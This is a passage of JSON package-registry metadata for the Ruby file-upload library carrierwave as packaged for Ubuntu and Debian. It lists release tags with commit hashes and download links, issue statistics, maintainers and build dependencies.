ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.428Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-carrierwave?arch=source\u0026distro=ubuntu-20.04\u0026repository_url=https://launchpad.net/ubuntu/focal","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"ubuntu-20.04","url":"https://launchpad.net/ubuntu/focal","ecosystem":"ubuntu","default":false,"packages_count":30789,"maintainers_count":0,"namespaces_count":4,"keywords_count":1429,"github":"ubuntu","metadata":{"codename":"focal","funded_packages_count":648},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:47.233Z","updated_at":"2026-08-17T05:05:39.055Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/namespaces"}},{"id":13605202,"name":"ruby-carrierwave","ecosystem":"debian","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T11:18:54.336Z","latest_release_published_at":"2026-02-11T11:18:54.336Z","latest_release_number":"1.3.1-2","last_synced_at":"2026-03-13T20:01:38.867Z","created_at":"2026-02-11T11:18:54.201Z","updated_at":"2026-08-07T04:18:20.430Z","registry_url":"https://tracker.debian.org/pkg/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":"https://packages.debian.org/buster/ruby-carrierwave","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.3.0","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper (\u003e= 11~), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web 